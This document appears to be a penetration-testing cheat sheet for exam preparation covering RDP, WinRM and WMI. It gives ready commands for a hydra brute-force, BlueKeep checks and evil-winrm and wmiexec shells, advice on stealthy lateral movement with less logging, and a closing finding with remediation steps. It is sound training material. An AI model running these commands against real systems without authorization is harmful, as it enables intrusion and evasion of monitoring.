🛡️ Methodology Checklist
- RDP detection:
nmap -p 3389 --script rdp-enum-encryption [TARGET] - RDP brute-force:
hydra -L users.txt -P pass.txt rdp://[TARGET] - BlueKeep check:
nmap --script rdp-vuln-ms12-020 -p 3389 [TARGET] - WinRM detection: port 5985 (HTTP) or 5986 (HTTPS)
- WinRM auth test:
evil-winrm -i [TARGET] -u [USER] -p [PASS] - WMI via NXC:
nxc wmi [TARGET] -u [USER] -p [PASS] --query "SELECT Name FROM Win32_Service" - Check for NLA enforcement on RDP target
🎯 Operational Context
Think Dumber First: WinRM (5985) before RDP (3389) — WinRM gives you a full PowerShell session with less logging, easier scripting, and no GUI overhead. Evil-WinRM adds file upload/download, in-memory assembly loading, and pass-the-hash/pass-the-ticket support. WMI is the stealthiest option for lateral movement without a full shell.
When you land here: Port 5985, 5986, 3389, or 47001 open with valid credentials. Try Evil-WinRM first. If WinRM fails, try RDP with xfreerdp. WMI for command execution without a full shell: impacket-wmiexec [DOMAIN]/[USER]:[PASS]@[TARGET].
⚡ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
nmap -sV -sC [TARGET_IP] -p3389 --script rdp* | Detect RDP version, OS, hostname, NLA status |
nmap -sV -sC [TARGET_IP] -p3389 --packet-trace --disable-arp-ping -n | RDP packet trace (detect scan signatures) |
./rdp-sec-check.pl [TARGET_IP] | Check RDP encryption and protocol settings |
sudo cpan install Encoding::BER | Install rdp-sec-check dependency |
xfreerdp3 /u:[USER] /p:"[PASS]" /v:[TARGET_IP] | Connect to RDP from Linux |
nmap -sV -sC [TARGET_IP] -p5985,5986 --disable-arp-ping -n | Detect WinRM service |
evil-winrm -i [TARGET_IP] -u [USER] -p [PASS] | Get interactive PowerShell shell via WinRM |
wmiexec.py [USER]:"[PASS]"@[TARGET_IP] "[COMMAND]" | Execute command via WMI (Impacket) |
/usr/share/doc/python3-impacket/examples/wmiexec.py [USER]:"[PASS]"@[TARGET_IP] "hostname" | Full path wmiexec |
🔬 Deep Dive & Workflow
Initial Enumeration
- RDP check:
nmap -sV -sC [TARGET_IP] -p3389 --script rdp*- Note
Product_Version(Windows build),Target_Name(hostname) - Check
CredSSP (NLA)— if enabled, creds needed before GUI access
- Note
- WinRM check:
nmap -sV -sC [TARGET_IP] -p5985,5986- Look for
Microsoft-HTTPAPI/2.0on port 5985
- Look for
- WMI check:
nmap -p135 [TARGET_IP]— DCOM/RPC endpoint - Check RDP security:
./rdp-sec-check.pl [TARGET_IP]
Attacks
- RDP: If NLA off → direct brute-force or attempt BlueKeep (CVE-2019-0708) if unpatched
- RDP: Connect with found creds:
xfreerdp3 /u:[USER] /p:"[PASS]" /v:[TARGET_IP] - WinRM: If port 5985 open and creds known →
evil-winrm -i [TARGET_IP] -u [USER] -p [PASS] - WMI: Stealthier shell:
wmiexec.py [USER]:"[PASS]"@[TARGET_IP] "whoami" - Self-signed RDP cert → extract hostname from cert for further enumeration
Three Pillars of Windows Remote Management
RDP (Port 3389 TCP/UDP)
- GUI-based access. Since Vista: TLS/SSL with (often self-signed) certs.
- NLA (Network Level Authentication): If enabled, full credentials required before GUI rendered.
- Self-signed cert → reveals hostname during enumeration.
WinRM (Ports 5985 HTTP / 5986 HTTPS)
- CLI-based — PowerShell Remoting backend. Uses SOAP protocol.
- Enabled by default on Windows Server 2012+.
- Port 5985 is preferred attack path →
evil-winrm= fully interactive PS shell.
WMI (Port 135 + dynamic high port)
- Read/write access to system settings.
- Connection on 135, then dynamic high port.
wmiexec.py= stealthier than RDP, generates specific event logs.
Decision Priority (Exam)
- Check 3389 (RDP) — NLA status
- Check 5985 (WinRM) — best path for stable shell via
evil-winrm - Check 135 (WMI) — use
wmiexec.pyas fallback or for stealth
🛠️ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| evil-winrm fails ‘connection refused’ | WinRM not enabled or port blocked | Verify 5985/5986 open; enable remotely via RCE: Enable-PSRemoting -Force; check Windows Firewall status |
| Kerberos auth fails ‘KRB_AP_ERR_SKEW’ | Clock skew >5 minutes | sudo ntpdate [DC_IP]; add --realm [DOMAIN] flag to evil-winrm; set system time manually if ntpdate fails |
| RDP login screen freezes after credentials | NLA (Network Level Authentication) mismatch | Add /sec:rdp for non-NLA: xfreerdp /v:[TARGET] /u:[USER] /p:[PASS] /sec:rdp /cert:ignore |
| WMI queries time out consistently | WMI service not running or namespace wrong | Check Get-Service winmgmt; restart WMI: net stop winmgmt && net start winmgmt; use default namespace root\cimv2 |
| RDP disconnects every few minutes | HTB VPN bandwidth saturation or idle timeout | Add /bpp:16 /compression-level:2 to reduce bandwidth; set /idle-timeout:0 to prevent disconnection |
📝 Reporting Trigger
Finding Title: Windows Remote Management (WinRM) Accessible with Valid Credentials Impact: Interactive PowerShell session enabling lateral movement, in-memory tool execution, credential dumping, and persistent access. No additional exploitation required with valid credentials. Root Cause: WinRM enabled on port 5985 without network-level access restrictions. Credentials obtained via prior exploitation (password spray, LSASS dump, etc.). Recommendation: Restrict WinRM listener to authorized management IPs. Implement Just-Enough-Administration (JEA) to limit PowerShell commands available via WinRM. Enable PowerShell logging and script block logging. Disable RDP where not operationally required; enforce NLA.